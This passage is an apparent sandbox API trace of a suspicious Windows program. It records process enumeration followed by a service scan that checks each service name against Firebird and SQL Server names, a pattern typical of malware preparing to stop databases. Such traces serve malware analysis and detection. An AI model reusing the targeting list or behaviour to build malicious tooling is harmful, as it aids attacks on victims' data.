cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.388] lstrlenW (lpString="svchost.exe") returned 11 [0127.388] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.389] lstrlenW (lpString="svchost.exe") returned 11 [0127.389] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.390] lstrlenW (lpString="audiodg.exe") returned 11 [0127.390] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0127.391] lstrlenW (lpString="sihost.exe") returned 10 [0127.391] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.392] lstrlenW (lpString="svchost.exe") returned 11 [0127.392] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.393] lstrlenW (lpString="taskhostw.exe") returned 13 [0127.393] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0127.394] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0127.394] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0127.395] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0127.395] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.396] lstrlenW (lpString="explorer.exe") returned 12 [0127.396] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0127.403] lstrlenW (lpString="Memory Compression") returned 18 [0127.403] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0127.404] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0127.404] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0127.405] lstrlenW (lpString="SearchUI.exe") returned 12 [0127.405] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0127.406] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0127.406] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.407] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0127.407] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.408] lstrlenW (lpString="taskhostw.exe") returned 13 [0127.408] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0127.409] lstrlenW (lpString="UsoClient.exe") returned 13 [0127.409] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.411] lstrlenW (lpString="taskhostw.exe") returned 13 [0127.411] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0127.412] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0127.412] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0127.414] lstrlenW (lpString="msoia.exe") returned 9 [0127.414] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0127.415] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0127.415] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0127.416] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0127.416] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0127.417] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0127.417] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0127.421] lstrlenW (lpString="arc obviously.exe") returned 17 [0127.423] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0127.424] lstrlenW (lpString="scholars.exe") returned 12 [0127.425] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0127.425] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0127.425] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0127.427] lstrlenW (lpString="organizing.exe") returned 14 [0127.427] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0127.427] lstrlenW (lpString="campus.exe") returned 10 [0127.427] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0127.429] lstrlenW (lpString="mug.exe") returned 7 [0127.429] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0127.429] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0127.430] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0127.431] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0127.431] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0127.432] lstrlenW (lpString="powers mixture.exe") returned 18 [0127.432] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0127.433] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0127.433] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0127.434] lstrlenW (lpString="bachelor.exe") returned 12 [0127.434] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0127.435] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0127.435] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0127.436] lstrlenW (lpString="indication wage paying.exe") returned 26 [0127.436] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0127.437] lstrlenW (lpString="thee pub emission.exe") returned 21 [0127.437] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0127.439] lstrlenW (lpString="dllhost.exe") returned 11 [0127.439] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0127.440] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0127.440] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0127.441] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0127.441] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0127.442] lstrlenW (lpString="upgrading.exe") returned 13 [0127.442] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0127.443] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0127.443] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0127.448] lstrlenW (lpString="russell.exe") returned 11 [0127.448] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.450] lstrlenW (lpString="conhost.exe") returned 11 [0127.450] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.451] lstrlenW (lpString="conhost.exe") returned 11 [0127.451] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.452] lstrlenW (lpString="svchost.exe") returned 11 [0127.452] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0127.453] lstrlenW (lpString="1csrss.exe") returned 10 [0127.453] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0127.455] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0127.455] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.457] lstrlenW (lpString="conhost.exe") returned 11 [0127.457] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0127.458] lstrlenW (lpString="cmd.exe") returned 7 [0127.458] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.459] lstrlenW (lpString="conhost.exe") returned 11 [0127.459] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.460] lstrlenW (lpString="svchost.exe") returned 11 [0127.460] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0127.461] lstrlenW (lpString="sppsvc.exe") returned 10 [0127.461] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0127.462] lstrlenW (lpString="LogonUI.exe") returned 11 [0127.462] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.463] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0127.463] Process32NextW (in: hSnapshot=0x398, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0127.464] CloseHandle (hObject=0x398) returned 1 [0127.464] Sleep (dwMilliseconds=0x1f4) [0129.148] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eed68 [0129.148] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0129.149] GetLastError () returned 0xea [0129.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dbc) returned 0x43a1500 [0129.149] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43a1500, cbBufSize=0x1dbc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43a1500, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0129.150] CloseServiceHandle (hSCObject=0x5eed68) returned 1 [0129.150] lstrlenW (lpString="Appinfo") returned 7 [0129.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0129.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0129.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0129.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0129.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0129.150] lstrlenW (lpString="AppXSvc") returned 7 [0129.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0129.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0129.150] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0129.150] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0129.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0129.151] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.151] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.151] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.151] lstrlenW (lpString="Audiosrv") returned 8 [0129.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0129.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0129.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0129.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0129.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0129.151] lstrlenW (lpString="BFE") returned 3 [0129.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.151] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.151] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.151] lstrlenW (lpString="BITS") returned 4 [0129.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0129.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0129.151] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0129.151] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0129.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0129.151] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0129.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.151] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0129.152] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0129.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0129.152] lstrlenW (lpString="CDPSvc") returned 6 [0129.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0129.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0129.152] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0129.152] lstrlenW (lpString="ClickToRunSvc") returned 13 [0129.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0129.152] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0129.152] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0129.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.152] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0129.152] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0129.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0129.152] lstrlenW (lpString="CryptSvc") returned 8 [0129.152] lstrcmpiW 